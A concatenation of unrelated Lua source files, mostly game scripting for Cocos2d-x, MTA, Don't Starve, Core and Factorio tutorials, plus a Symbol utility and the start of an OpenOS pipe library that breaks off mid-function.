if "table" == type(bc) then
self:EnableShadow(bc);
else
self:EnableShadow();
end
else
self:DisableEffect(cc.LabelEffect.SHADOW);
end
end
function Label.set:Outline(bc)
if bc then
if "table" == type(bc) then
self:EnableOutline(bc);
else
self:EnableOutline();
end
else
self:DisableEffect(cc.LabelEffect.OUTLINE);
end
end
function Label.set:Glow(bc)
if bc then
if "table" == type(bc) then
self:EnableGlow(bc);
else
self:EnableGlow();
end
else
self:DisableEffect(cc.LabelEffect.GLOW);
end
end
Label.set.Wrap = Label.EnableWrap;
local MenuItem = cc.MenuItem;
function MenuItem.set:Selected(b)
if b then
self:Selected();
else
self:Unselected();
end
end
local ProgressTimer = cc.ProgressTimer;
function ProgressTimer.get:Percent()
return self:GetPercentage() / 100;
end
function ProgressTimer.set:Percent(val)
self:SetPercentage(val * 100);
end
local Sprite = cc.Sprite;
Sprite.private.__spriteGrayed = nil;
function Sprite.get:Grayed()
return self.__spriteGrayed or false;
end
function Sprite.set:Grayed(val)
val = not not val;
if self.__spriteGrayed == val then
return;
end
self.ProgramState = val and ccb.ProgramType.GRAY_SCALE or ccb.ProgramType.POSITION_TEXTURE_COLOR;
self.__spriteGrayed = val;
end
local EventAssetsManagerEx = cc.EventAssetsManagerEx;
function EventAssetsManagerEx.get:Percent()
return EventAssetsManagerEx:GetPercent(self) / 100;
end
function EventAssetsManagerEx.get:PercentByFile()
return EventAssetsManagerEx.getPercentByFile(self) / 100;
end
local Widget = ccui.Widget;
Widget.set.TouchHandler = Widget.AddTouchEventListener;
Widget.set.ClickHandler = Widget.AddClickEventListener;
local EditBox = ccui.EditBox;
function EditBox.set:EditHandler(val)
if val == nil then
self:UnregisterScriptEditBoxHandler();
else
self:RegisterScriptEditBoxHandler(val);
end
end
local LoadingBar = ccui.LoadingBar;
function LoadingBar.get:Percent()
return self:GetPercent() / 100;
end
function LoadingBar.get:Percent(val)
self:SetPercent(val * 100);
end
local Slider = ccui.Slider;
function Slider.get:Percent()
return self:GetPercent() / 100;
end
function Slider.get:MaxPercent()
return self:getMaxPercent() / 100;
end
function Slider.set:Percent(val)
self:SetPercent(val * 100);
end
function Slider.set:MaxPercent(val)
self:SetMaxPercent(val * 100);
end
local Text = ccui.Text;
function Text.set:Shadow(bc)
if bc then
if "table" == type(bc) then
self:EnableShadow(bc);
else
self:EnableShadow();
end
else
self:DisableEffect(cc.LabelEffect.SHADOW);
end
end
function Text.set:Outline(bc)
if bc then
if "table" == type(bc) then
self:EnableOutline(bc);
else
self:EnableOutline();
end
else
self:DisableEffect(cc.LabelEffect.OUTLINE);
end
end
function Text.set:Glow(bc)
if bc then
if "table" == type(bc) then
self:EnableGlow(bc);
else
self:EnableGlow();
end
else
self:DisableEffect(cc.LabelEffect.GLOW);
end
end
local VideoPlayer = ccui.VideoPlayer;
VideoPlayer.set.EventHandler = VideoPlayer.AddEventListener;
local WebView = ccui.WebView;
WebView.set.Url = WebView.LoadURL;
WebView.set.File = WebView.LoadFile;
local QrCode = ccui.QrCode;
QrCode.set.String = QrCode.LoadCodeByString;
|
return LoadFont("Common Normal") .. {
};
|
addEvent('onReceiveSMS',true)
addEventHandler('onReceiveSMS',root,
function (pMessage)
local memoMessage = getPlayerName( source ) .." -> Me: ".. pMessage .."\n"
local chatBoxMessage = "[PM FROM: ".. getPlayerName( source ) .. "]: "..pMessage
if not ( exports.densettings:isPlayerBlacklisted(source) ) then -- if sender is not blacklisted
if ( getElementData( localPlayer, "SMSoutput" ) ) then outputChatBox(chatBoxMessage,0,255,0) end -- output chatbox if enabled
triggerEvent('onInsertSMSMemo',source,memoMessage,source) -- add sms to memo
triggerServerEvent('smsSuccess',localPlayer,source,pMessage) -- let server know it succeeded
else
triggerServerEvent('smsBlocked',localPlayer,source) -- let server know it failed
end
end
)
|
local index = pages.addContent(PAGE_MUSIC, "Little Gremlin - EP", "little-gremlin")
local page = pages.content[index]
page.desc = "Little Gremlin is my first EP! Little Gremlin is about a city overrun by monsters. All the songs were written in a little under a year. I started the EP after my computer got a virus and I lost all my old project files. Scary sequences, all from your head! is the only track that survived my hard drive wipe.RP_BRTracklist:RP_BR1. Use a protractor (1:41)RP_BR2. Scary sequences, all from your head! (0:50)RP_BR3. Panini Pressin (1:59)RP_BR4. Homeowner (2:22)"
page.month = 7
page.day = 6
page.year = 2019
page.release_date, page.release_score = generateDate(page)
page.logo = "music/lg.png"
page.logo_hd = "music/lg-large.png"
page.src = "music"
--[[
gt - Glorious Trainwrecks
direct - direct download
itch - itch.io
online - link on this site
github - source on github
sc - soundcloud
apple - apple music
bc - bandcamp
spotify - spotify
yt - youtube music
custom1_text - "download it here"
custom1_url - "google.com"
]]
page.links = {}
page.links.apple = "https://music.apple.com/gb/album/little-gremlin-ep/1540702003"
page.links.spotify = "https://open.spotify.com/album/3vkRKmccOOenmLbCT69qYc?si=MMjE_LqrTyi9jc_d3FbdiQ"
page.links.sc = "https://soundcloud.com/illteteka/sets/little-gremlin"
page.links.bc = "https://illteteka.bandcamp.com/album/little-gremlin-ep"
page.links.yt = "https://www.youtube.com/watch?v=jTkT6G1KrbY&list=OLAK5uy_lq-JElNGM-GV1rcy7udCb8LPrCCiUJI7I&index=2"
|
require "behaviours/wander"
require "behaviours/faceentity"
require "behaviours/chaseandattack"
require "behaviours/panic"
require "behaviours/runaway"
local MAX_CHASE_TIME = 6
local WANDER_DIST_DAY = 20
local WANDER_DIST_NIGHT = 5
local RUN_AWAY_DIST = 6
local STOP_RUN_AWAY_DIST = 12
local START_FACE_DIST = 14
local KEEP_FACE_DIST = 20
local function GetFaceTargetFn(inst)
local target = GetClosestInstWithTag("player", inst, START_FACE_DIST)
if target and not target:HasTag("notarget") then
return target
end
end
local function KeepFaceTargetFn(inst, target)
return inst:GetDistanceSqToInst(target) <= KEEP_FACE_DIST * KEEP_FACE_DIST and not target:HasTag("notarget")
end
local function ShouldRunAway(guy)
return guy:HasTag("character") and not guy:HasTag("notarget")
end
local KoalefantBrain = Class(Brain, function(self, inst)
Brain._ctor(self, inst)
end)
function KoalefantBrain:OnStart()
local root = PriorityNode(
{
WhileNode( function() return self.inst.components.health.takingfiredamage end, "OnFire", Panic(self.inst)),
ChaseAndAttack(self.inst, MAX_CHASE_TIME),
SequenceNode{
FaceEntity(self.inst, GetFaceTargetFn, KeepFaceTargetFn, 0.5),
RunAway(self.inst, ShouldRunAway, RUN_AWAY_DIST, STOP_RUN_AWAY_DIST)
},
FaceEntity(self.inst, GetFaceTargetFn, KeepFaceTargetFn),
Wander(self.inst)
}, .25)
self.bt = BT(self.inst, root)
end
return KoalefantBrain
|
-- Custom
local META_EventsAPI = require(script:GetCustomProperty("META_EventsAPI"))
local EventKey = script.parent:GetCustomProperty("Key")
if not EventKey then
warn("Script must be a child of an Event")
return
end
-- Settings
local ResourceName = script:GetCustomProperty("ResourceName")
local Multiplier = script:GetCustomProperty("Multiplier")
if not ResourceName then
warn("No Resource Name Set")
return
end
if Multiplier < 1 then
warn("Multiplier must be equal to or greater than 1")
Multiplier = 1
end
local rscListeners = {}
function DisconnectRscListener(player)
rscListeners[player]:Disconnect()
end
function ConnectRscListener(player)
rscListeners[player] = player.resourceChangedEvent:Connect(OnResourceChanged)
end
function OnResourceChanged(player, rsc, newAmount)
if rsc ~= ResourceName then
return
end
if not player.serverUserData.resources[rsc] then
player.serverUserData.resources[rsc] = newAmount
return
end
if not META_EventsAPI.IsEventKeyActive(EventKey) then
player.serverUserData.resources[rsc] = player:GetResource(rsc)
return
end
local oldAmount = player.serverUserData.resources[rsc] or 0
local delta = newAmount - oldAmount
print(rsc, oldAmount, newAmount)
if delta < 0 then
player.serverUserData.resources[rsc] = newAmount
return
end
DisconnectRscListener(player)
local bonusAmount = delta * (Multiplier - 1)
player:AddResource(rsc, bonusAmount )
print("adding a bonus", bonusAmount)
ConnectRscListener(player)
print("Final amount:", player:GetResource(rsc))
player.serverUserData.resources[rsc] = player:GetResource(rsc)
end
function OnPlayerJoined(player)
print("Player Joined")
player.serverUserData.resources = {}
local value = player:GetResource(ResourceName)
if value ~= 0 then
player.serverUserData.resources[ResourceName] = value
end
ConnectRscListener(player)
end
Game.playerJoinedEvent:Connect(OnPlayerJoined)
|
local out = ""
function write(...)
local arg = {...}
for i, v in ipairs(arg) do
out = out .. tostring(v)
end
end
function item_count(node)
local count = 0
for k, v in pairs(node) do
count = count + 1
end
return count
end
function traverse_table(node)
write("{")
local i = 1
local count = item_count(node)
for k, v in pairs(node) do
write("\"", tostring(k), "\": ")
traverse(v)
if i < count then
write(",")
end
i = i + 1
end
write("}")
end
function traverse_array(node)
local count = item_count(node)
write("[")
for k, v in ipairs(node) do
traverse(v)
if k < count then
write(",")
end
end
write("]")
end
function traverse(node)
if type(node) == "table" then
if type(next(node)) == "number" then
traverse_array(node)
else
traverse_table(node)
end
elseif type(node) == "string" then
write("\"", node, "\"")
else
write(node)
end
end
function inspect_recipe(node)
return {
name=node.name,
category=node.category,
products=node.products,
ingredients=node.ingredients,
hidden=node.hidden,
energy=node.energy,
order=node.order,
group=node.group.name,
subgroup=node.subgroup.name,
}
end
function inspect_recipes(recipes)
local r = {}
local groups = {}
for k, v in pairs(recipes) do
groups[v.group.name] = v.group
r[k] = inspect_recipe(v)
end
return r, groups
end
function inspect_entities(entities)
local e = {}
local groups = {}
for k, v in pairs(entities) do
groups[v.group.name] = v.group
if v.crafting_categories or v.mining_power or v.resource_category or v.burner_prototype then
entity = {
name=v.name,
type=v.type,
group=v.group.name,
subgroup=v.subgroup.name,
order=v.order,
mineable_properties=v.mineable_properties,
resource_category=v.resource_category,
ingredient_count=v.ingredient_count,
crafting_speed=v.crafting_speed,
crafting_categories=v.crafting_categories,
module_inventory_size=v.module_inventory_size,
energy_usage=v.energy_usage,
max_energy_usage=v.max_energy_usage,
mining_speed=v.mining_speed,
mining_power=v.mining_power,
fluid_usage_per_tick=v.fluid_usage_per_tick,
}
if v.burner_prototype then
b = v.burner_prototype
entity.burner_prototype = {
category=b.category,
effectivity=b.effectivity,
fuel_category=b.fuel_category,
emissions=b.emissions,
}
end
e[k] = entity
end
end
return e, groups
end
function inspect_items(items)
local i = {}
local groups = {}
for k, v in pairs(items) do
groups[v.group.name] = v.group
i[k] = {
name=v.name,
type=v.type,
group=v.group.name,
subgroup=v.subgroup.name,
order=v.order,
fuel_category=v.fuel_category,
module_effects=v.module_effects,
category=v.category,
tier=v.tier,
limitations=v.limitations,
}
if v.fuel_value ~= 0 then
i[k].fuel_value = v.fuel_value
end
if v.place_result then
i[k].place_result = v.place_result.name
end
end
return i, groups
end
function inspect_fluids(fluids)
local f = {}
local groups = {}
for k, v in pairs(fluids) do
groups[v.group.name] = v.group
f[k] = {
name=v.name,
group=v.group.name,
subgroup=v.subgroup.name,
order=v.order,
base_color=v.base_color,
flow_color=v.flow_color,
}
end
return f, groups
end
function inspect_groups(groups)
local g = {}
for k, v in pairs(groups) do
local subgroups = {}
for i, s in ipairs(v.subgroups) do
subgroups[s.name] = s.order
end
g[k] = {
name=v.name,
order=v.order,
subgroups=subgroups,
}
end
return g
end
function update(a, b)
for k, v in pairs(b) do
a[k] = v
end
end
function inspect_all()
local groups = {}
local recipes, g = inspect_recipes(game.recipe_prototypes)
update(groups, g)
local entities, g = inspect_entities(game.entity_prototypes)
update(groups, g)
local items, g = inspect_items(game.item_prototypes)
update(groups, g)
local fluids, g = inspect_fluids(game.fluid_prototypes)
update(groups, g)
local data = {
versions=game.active_mods,
recipes=recipes,
entities=entities,
items=items,
fluids=fluids,
groups=inspect_groups(groups),
}
traverse(data)
end
inspect_all()
game.write_file("game_data.json", out)
|
local pdist = {}
return pdist
|
require("mod-gui")
function story_init_helpers(story)
story.helpers = make_helpers(story)
end
function make_helpers(story)
local helpers = {}
helpers.story_points_by_name = {}
helpers.story_branches = {}
for story_index, data in pairs(story) do
if (story_index ~= "update-functions") then
helpers.story_branches[story_index] = data
for index, item in pairs(data) do
if item.name ~= nil then
helpers.story_points_by_name[item.name] = {}
helpers.story_points_by_name[item.name].story_index = story_index
helpers.story_points_by_name[item.name].position = index
end
end
else
story_update_table = data
end
end
return helpers
end
function story_init(story_table,player)
local result = {}
-- List of names of currently active update functions
result.updates = {}
-- Tick, when the current state started
result.current_story_started_at = 0
-- There can be different stories (sequencies), this specifies which one is active
result.story_index = 1
-- Position in the current story
result.story_position = 1
-- Utility variables used to ensure that the init of the story item is called just once
result.init_called_last_on_story_index = 0
result.init_called_last_on_position = 0
if player then
result.player = player
end
result.helpers = make_helpers(story_table)
return result
end
function story_update(story, event, next_level, onwin)
if event.name == defines.events.on_entity_renamed then return end
if event.created_entity then
global.last_built_position = event.created_entity.position
end
on_gui_click(event)
local branches = story.helpers.story_branches[story.story_index]
local starting_story_index = story.story_index
local starting_story_position = story.story_position
local branch = branches[story.story_position]
if story.story_position > #branches then
return
end
if branch.init ~= nil then
if story.init_called_last_on_story_index ~= story.story_index or
story.init_called_last_on_position ~= story.story_position then
story.init_called_last_on_story_index = story.story_index
story.init_called_last_on_position = story.story_position
if branch.init(event, story) then
return
end
if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then
return
end
end
else
story.init_called_last_on_story_index = 0
story.init_called_last_on_position = 0
end
for index, item in pairs(story.updates) do
if story_update_table[index](event, story) then
return
end
end
if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then
return
end
if branch.update ~= nil then
branch.update(event, story)
end
if branch.idle ~= nil then
local count = (event.tick - story.current_story_started_at)/60
if branch.idle[count] then
branch.idle[count](event, story)
end
end
if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then
return
end
if (
branch.condition == nil and
event.name == defines.events.on_tick
) or
(
branch.condition ~= nil and
branch.condition(event, story)
) then
if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then
return
end
if branch.action ~= nil then
branch.action(event, story)
end
if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then
return
end
story.story_position = story.story_position + 1
story.current_story_started_at = game.ticks_played
if story.story_position > #branches then
if onwin ~= nil then
onwin()
end
if not game.finished then
if next_level then
game.set_game_state{game_finished=true, player_won=true, next_level=next_level}
else
game.set_game_state{game_finished=true, player_won=true}
end
end
end
end
end
function story_on_tick(event)
if event.name ~= defines.events.on_tick then return end
flash_message_log_on_tick()
end
function story_add_update(story, name)
story.updates[name] = true
end
function story_remove_update(story, name)
story.updates[name] = nil
end
function story_jump_to(story, name)
local story_point = story.helpers.story_points_by_name[name]
story.story_index = story_point.story_index
story.story_position = story_point.position
--story.current_story_started_at = game.ticks_played
if story.story_position ~= 1 then
local test = story.story_index + 1
local branch = story.helpers.story_branches[story.story_index]
if branch[story.story_position - 1].action ~= nil then
branch[story.story_position - 1].action(nil, story)
end
end
end
function story_elapsed(story, event, seconds)
return event.tick - story.current_story_started_at > seconds * 60
end
function story_check_passed(story, seconds)
return story.current_story_started_at + (seconds*60) < game.ticks_played
end
function story_elapsed_check(seconds,story_optional)
return function(event, current_story) return story_elapsed(current_story, event, seconds) end
end
function story_show_message_dialog(param, player)
if game.is_multiplayer() then
if player then
player.print(param.text)
else
game.print(param.text)
end
else
game.show_message_dialog(param)
end
end
function set_goal(goal_string, update_only)
global.goal_string = goal_string
for k, player in pairs (game.players) do
player_set_goal(player, goal_string, update_only)
end
end
function player_set_goal(player, goal_string, update_only)
local gui = player.gui.goal
if goal_string and goal_string ~= "" then
player.set_goal_description(goal_string, update_only)
elseif update_only == false then
player.set_goal_description("hi")
player.set_goal_description("")
else
player.set_goal_description("")
end
end
function on_player_joined(player)
if global.goal_string then
player_set_goal(player, global.goal_string)
end
if global.set_info then
for k, info in pairs (global.set_info) do
player_set_info(info)
end
end
end
function flash_goal()
for k, player in pairs (game.players) do
local goal_string = player.get_goal_description()
player.set_goal_description("hi")
player.set_goal_description(goal_string)
end
end
function set_info(info)
if not global.set_info then
global.set_info = {}
end
if not info then
global.set_info = nil
for k, player in pairs (game.players) do
player_set_info(player, info)
end
return
end
local append = info.append
if not append then
global.set_info = {}
end
table.insert(global.set_info, info)
for k, player in pairs (game.players) do
player_set_info(player, info)
end
end
function player_set_info(player, info)
local gui = player.gui.goal
local info_flow = gui.goal_info_frame
if not info then
if info_flow then
info_flow.destroy()
end
else
if not info_flow then
info_flow = gui.add{type = "flow", name = "goal_info_frame", direction = "vertical"}
end
if not info.append then
info_flow.clear()
end
if info then
if info.custom_function then
info.custom_function(info_flow)
end
if info.text then
local label = info_flow.add
{
type = "label",
caption = info.text
}
label.style.single_line = false
label.style.top_padding = 3
label.style.bottom_padding = 3
label.style.maximal_width = 384
end
if info.picture then
local flow = info_flow.add{type = "flow"}
if type(info.picture) == "string" then
flow.add{type = "frame", style = "image_frame"}.add
{
type = "sprite",
sprite = info.picture
}
else
local element = flow.add{type = "frame", style = "image_frame"}.add
{
type = "sprite",
name = info.picture.name,
tooltip = info.picture.tooltip,
sprite = info.picture.path
}
if info.picture.lua_style then
for name, value in pairs (info.picture.lua_style) do
element.style[name] = value
end
end
end
end
if info.pictures then
local flow = info_flow.add{type = "flow"}
for k, picture in pairs (info.pictures) do
if type(picture) == "string" then
flow.add
{
type = "sprite",
sprite = picture
}
else
if picture.split then
flow = info_flow.add{type = "flow"}
end
local element = flow.add{type = "frame", style = "image_frame"}.add
{
type = "sprite",
sprite = picture.path,
tooltip = picture.tooltip
}
if picture.lua_style then
for name, value in pairs (picture.lua_style) do
element.style[name] = value
end
end
end
end
end
if info.camera then
local camera = info_flow.add
{
type = "camera",
name = info.camera.name,
tooltip = info.camera.tooltip,
position = info.camera.position,
surface_index = info.camera.surface_index,
zoom = info.camera.zoom
}
camera.style.minimal_width = info.camera.minimal_width or 32
camera.style.minimal_height = info.camera.minimal_height or 32
end
end
end
end
function export_entities(param)
if not param then param = {} end
local surface = param.surface or game.surfaces[1]
local item = surface.create_entity{name = "item-on-ground", position = {-400,0}, stack = "blueprint", force = "player"}
local blueprint = item.stack
local entities = param.entities
if not entities then
if param.area then
entities = surface.find_entities_filtered{area = param.area}
else
entities = surface.find_entities()
end
end
local ignore = param.ignore or
{
character = true,
particle = true,
projectile = true,
["item-request-proxy"] = true,
explosion = true
}
local get_inventory = function(entity)
if not entity.valid then return nil end
local inventory = {}
for k = 1,10 do
local inv = entity.get_inventory(k)
if inv then
inventory[k] = inv.get_contents()
end
end
if #inventory > 0 then
return inventory
else
return nil
end
end
local exported = {}
local index_map = {}
local count = 1
for k, entity in pairs (entities) do
if entity.valid then
if entity ~= item and not (ignore[entity.type]) then
local info = {}
blueprint.create_blueprint{surface = surface, force = "player", area = entity.bounding_box}
list = blueprint.get_blueprint_entities()
if list then
local this = false
for i, listed in pairs (list) do
if listed.name == entity.name and entity.type ~= "curved-rail" and entity.type ~= "straight-rail" then
this = list[i]
break
end
end
if this then
info = this
end
end
if entity.direction and entity.direction ~= 0 then
info.direction = entity.direction
end
info.index = count
local unit_number = entity.unit_number
if unit_number then
index_map[unit_number] = count
end
info.name = entity.name
local type = entity.type
if type == "resource" then
info.amount = entity.amount
elseif type == "entity-ghost" then
info.inner_name = entity.ghost_name
elseif type == "item-entity" then
info.stack = {name = entity.stack.name, count = entity.stack.count}
elseif type == "transport-belt" or type == "underground-belt" then
info.line_contents = {}
for k = 1, 2 do
local line = entity.get_transport_line(k)
info.line_contents[k] = line.get_contents()
line.clear()
end
elseif type == "splitter" then
info.line_contents = {}
for k = 1, 8 do
local line = entity.get_transport_line(k)
info.line_contents[k] = line.get_contents()
line.clear()
end
elseif type == "locomotive" then
info.schedule = entity.train.schedule
info.speed = entity.train.speed
info.manual_mode = entity.train.manual_mode
info.direction = math.floor(0.5+entity.orientation*8)%8
elseif type == "assembling-machine" then
if entity.get_recipe() then
info.recipe = entity.get_recipe().name
end
elseif type == "flying-text" then
info.text = entity.text
end
if entity.type == "underground-belt" then
info.type = entity.belt_to_ground_type
end
info.color = entity.color
info.force = entity.force.name
info.position = entity.position
info.inventory = get_inventory(entity)
info.backer_name = entity.backer_name
info.minable = entity.minable
info.rotatable = entity.rotatable
info.operable = entity.operable
info.destructible = entity.destructible
info.entity_number = nil
exported[count] = info
count = count + 1
end
end
end
for k, entity in pairs (entities) do
if entity.valid and entity.circuit_connected_entities and entity.unit_number then
local entity_index = index_map[entity.unit_number]
if entity_index then
local connection_definitions = {}
for j, definition in pairs (entity.circuit_connection_definitions) do
local unit_number = definition.target_entity.unit_number
if unit_number then
local index = index_map[unit_number]
if index then
connection_definitions[index] =
{
wire = definition.wire,
source_circuit_id = definition.source_circuit_id,
target_circuit_id = definition.target_circuit_id
}
end
end
end
if #connection_definitions > 0 then
exported[entity_index].circuit_connection_definitions = connection_definitions
end
end
end
end
for k, entity in pairs (entities) do
if entity.valid then
if entity ~= item and not (ignore[entity.type]) then
entity.destroy()
end
end
end
if item.valid then
item.destroy()
end
return exported
end
function recreate_entities(array, param, bool)
if not param then param = {} end
local offset = param.offset or {0,0}
local surface = param.surface or game.surfaces[1]
local force = param.force or "player"
local created_entities = {}
local created_count = 1
local remaining = {}
local remaining_count = 1
local index_map = {}
local filter = param.filter
local filter_map = {}
if filter then
for k, name in pairs (filter) do
filter_map[name] = true
end
end
for k, entity in pairs (array) do
if not filter or filter_map[entity.name] then
local save_position = {x = entity.position.x, y = entity.position.y}
entity.position.x = entity.position.x + (offset[1] or offset.x)
entity.position.y = entity.position.y + (offset[2] or offset.y)
entity.force = force
entity.expires = entity.expires or false
if not param.check_can_place or surface.can_place_entity(entity) then
if not entity.index then entity.index = -1 end
local created = false
if bool or (entity.name ~= "locomotive" and entity.name ~= "rail-signal") then
created = surface.create_entity(entity)
index_map[entity.index] = created
end
entity.position = save_position
if created then
index_map[entity.index] = created
if entity.filters then
for k, filter in pairs (entity.filters) do
created.set_filter(filter.index, filter.name)
end
end
if entity.amount then
created.amount = entity.amount
end
if entity.inventory then
for index, contents in pairs (entity.inventory) do
local inventory = created.get_inventory(index)
if inventory then
for name, count in pairs (contents) do
created.insert({name = name, count = count})
end
end
end
end
if entity.line_contents then
for k, contents in pairs (entity.line_contents) do
local line = created.get_transport_line(k)
for name, count in pairs (contents) do
for i = 0, count-1 do
line.insert_at((0.1+i)/count, {name = name, count = 1})
end
end
end
end
if entity.backer_name then
created.backer_name = entity.backer_name
end
if entity.text then
created.text = entity.text
end
if entity.color then
created.color = entity.color
end
if entity.recipe then
created.set_recipe(entity.recipe)
end
created.minable = entity.minable
created.rotatable = entity.rotatable
created.operable = entity.operable
created.destructible = entity.destructible
if entity.schedule then
created.train.schedule = entity.schedule
created.train.speed = entity.speed
created.train.manual_mode = entity.manual_mode
end
created_entities[created_count] = created
created_count = created_count + 1
else
remaining[remaining_count] = entity
remaining_count = remaining_count + 1
end
end
end
end
if not bool then
for k, entity in pairs (recreate_entities(remaining, param, true)) do
created_entities[created_count] = entity
created_count = created_count + 1
end
end
for k, entity in pairs (array) do
local created = index_map[entity.index]
if created and created.valid then
if entity.circuit_connection_definitions then
for index, definition in pairs (entity.circuit_connection_definitions) do
entity_to_connect = index_map[index]
if entity_to_connect.valid then
created.connect_neighbour({wire = definition.wire, target_entity = entity_to_connect, source_circuit_id = definition.source_circuit_id, target_circuit_id = definition.target_circuit_id})
end
end
end
end
end
return created_entities
end
function limit_camera(origin, distance)
for k, player in pairs (game.players) do
local position = player.position
local new_position = {}
new_position.x = math.min (position.x, origin[1] + distance)
new_position.x = math.max (new_position.x, origin[1] - distance)
new_position.y = math.min (position.y, origin[2] + distance)
new_position.y = math.max (new_position.y, origin[2] - distance)
if (new_position.x ~= position.x) or (new_position.y ~= position.y) then
player.teleport(new_position)
end
end
end
function find_gui_recursive(gui, name)
for k, child in pairs (gui.children) do
if child.name == name then
return child
end
local result = find_gui_recursive(child, name)
if result then
return result
end
end
return false
end
function add_button(gui)
local button = gui.add{type = "button", name = "story_continue_button", caption = {"continue"}}
global.continue = false
return button
end
function on_gui_click(event)
if event.name ~= defines.events.on_gui_click then return end
local element = event.element
if not element.valid then return end
local name = element.name
local player = game.players[event.player_index]
if name == "story_continue_button" then
if not element.enabled then return end
global.continue = true
set_continue_button_style(function (button)
if button.valid then
button.enabled = false
end
end)
element.enabled = false
return
end
if name == "message_log_close_button" then
element.parent.visible = not element.parent.visible
return
end
if name == "toggle_message_log_button" then
local gui = player.gui.center
if gui.message_log_frame then
gui.message_log_frame.visible = not gui.message_log_frame.visible
end
element.sprite = "message_log_icon"
return
end
if name == "toggle_objective_button" then
local gui = player.gui.goal
if gui then
gui.visible = not gui.visible
end
return
end
if story_gui_click then
story_gui_click(event)
end
end
function set_continue_button_style(func)
for k, player in pairs (game.players) do
local button = find_gui_recursive(player.gui, "story_continue_button")
if button then
func(button)
end
end
end
--Should only be used in mini-tutorials for convenience
function player(i)
if not i then i = 1 end
return game.players[i]
end
--Use carefully, it might not be what you want
function surface(i)
if not i then i = 1 end
return game.surfaces[i]
end
function deconstruct_on_tick(entities, seconds)
local tick = game.tick
if entities then
seconds = seconds or 1
local duration = seconds*60
--Shuffle the table
local rand = math.random
local size = #entities
for k, entity in pairs (entities) do
local index = rand(size)
entities[k], entities[index] = entities[index], entities[k]
end
local new_table = {}
for k = 1, duration do
new_table[tick+k] = {}
end
local insert = table.insert
for k, entity in pairs (entities) do
local tick_to_deconstruct = 1 + tick + (k % duration)
insert(new_table[tick_to_deconstruct], entity)
end
global.entities_to_deconstruct_on_tick = new_table
global.entities_to_deconstruct_on_tick.end_tick = tick + duration
return
end
if tick > global.entities_to_deconstruct_on_tick.end_tick then
global.entities_to_deconstruct_on_tick = nil
return true
end
local entities = global.entities_to_deconstruct_on_tick[tick]
if entities then
for k, entity in pairs (entities) do
if entity.valid then
--surface().create_entity{name = "explosion", position = entity.position}
entity.destroy()
end
end
global.entities_to_deconstruct_on_tick[tick] = nil
end
end
function recreate_entities_on_tick(entities, param, seconds)
local tick = game.tick
if entities then
local duration
if seconds then
duration = seconds*60
else
duration = #entities
end
local new_table = {}
for k = 1, duration do
new_table[k+tick] = {}
end
local insert = table.insert
for k, entity in pairs (entities) do
local tick_to_build = 1 + tick + ((k-1) % duration)
insert(new_table[tick_to_build], entity)
end
new_table.param = param
new_table.end_tick = tick + duration
global.entities_to_build_on_tick = new_table
return
end
if tick > global.entities_to_build_on_tick.end_tick then
global.entities_to_build_on_tick = nil
return true
end
local entities = global.entities_to_build_on_tick[tick]
if entities then
recreate_entities(entities, global.entities_to_build_on_tick.param)
global.entities_to_build_on_tick[tick] = nil
end
end
function flying_congrats(position)
if not position then position = player().position end
if not position.x then position.x = position[1] end
if not position.y then position.y = position[2] end
surface().create_entity{name = "tutorial-flying-text", text = {"tutorial-gui.objective-complete"}, position = {position.x, position.y - 1.5}, color = {r = 0.1, g = 1, b = 0.1}}
end
|
--!strict
-- Symbol
-- Stephen Leitnick
-- December 27, 2020
--[[
symbol = Symbol.new(id: string [, scope: Symbol])
Symbol.Is(obj: any): boolean
Symbol.IsInScope(obj: any, scope: Symbol): boolean
--]]
local CLASSNAME = "Symbol"
local Symbol = {}
Symbol.__index = Symbol
function Symbol.new(id: any, scope: any)
assert(id ~= nil, "Symbol ID cannot be nil")
if scope ~= nil then
assert(Symbol.Is(scope), "Scope must be a Symbol or nil")
end
local self = setmetatable({
ClassName = CLASSNAME;
_id = id;
_scope = scope;
}, Symbol)
return self
end
function Symbol.Is(obj: any): boolean
return type(obj) == "table" and getmetatable(obj) == Symbol
end
function Symbol.IsInScope(obj: any, scope: Symbol): boolean
return Symbol.Is(obj) and obj._scope == scope
end
function Symbol:__tostring()
return ("Symbol<%s>"):format(self._id)
end
export type Symbol = typeof(Symbol.new("Test", nil))
return Symbol
|
local process = require("process")
local shell = require("shell")
local buffer = require("buffer")
local command_result_as_code = require("sh").internal.command_result_as_code
local pipe = {}
local _root_co = assert(process.info(), "process metadata failed to load").data.coroutine_handler
-- root can be a coroutine or a function
function pipe.createCoroutineStack(root, env, name)
checkArg(1, root, "thread", "function")
if type(root) == "function" then
root = assert(process.load(root, env, nil, name or "pipe"), "failed to load proc data for given function")
end
local proc = assert(process.list[root], "coroutine must be a process thread else the parent process is corrupted")
local pco = setmetatable({root=root}, {__index=_root_co})
proc.data.coroutine_handler = pco
function pco.yield(...)
return _root_co.yield(nil, ...)
end
function pco.yield_past(co, ...)
return _root_co.yield(co, ...)
end
function pco.resume(co, ...)
checkArg(1, co, "thread")
local args = table.pack(...)
while true do -- for consecutive sysyields
local result = table.pack(_root_co.resume(co, table.unpack(args, 1, args.n)))
local target = result[2] == true and pco.root or result[2]
if not result[1] or _root_co.status(co) == "dead" then
return table.unpack(result, 1, result.n)
elseif target and target ~= co then
args = table.pack(_root_co.yield(table.unpack(result, 2, result.n)))
else
return true, table.unpack(result, 3, result.n)
end
end
end
return pco
end
local pipe_stream =
{
continue = function(self, exit)
local result = table.pack(coroutine.resume(self.next))
while true do -- repeat resumes if B (A|B) makes a natural yield
-- if B crashed or closed in the last resume
-- then we can close the stream
if coroutine.status(self.next) == "dead" then
self:close()
-- always cause os.exit when the pipe closes
-- this is very important
-- e.g. cat very_large_file | head
-- when head is done, cat should stop
result[1] = nil
end
-- the pipe closed or crashed
if not result[1] then
if exit then
os.exit(command_result_as_code(result[2]))
end
return self
end
-- next is suspended, read_mode indicates why
if self.read_mode then
-- B wants A to write again, resume A
return self
end
-- not reading, it is requesting a yield
-- yield_past(true) will exit this coroutine stack
result = table.pack(coroutine.yield_past(true, table.unpack(result, 2, result.n)))
result = table.pack(coroutine.resume(self.next, table.unpack(result, 1, result.n))) -- the request was for an event
end
end,
close = function(self)
self.closed = true
if coroutine.status(self.next) == "suspended" then
self:continue()
end
self.redirect = {}
end,
seek = function()
return nil, "bad file descriptor"
end,
write = function(self, value)
if not self.redirect[1] and self.closed then
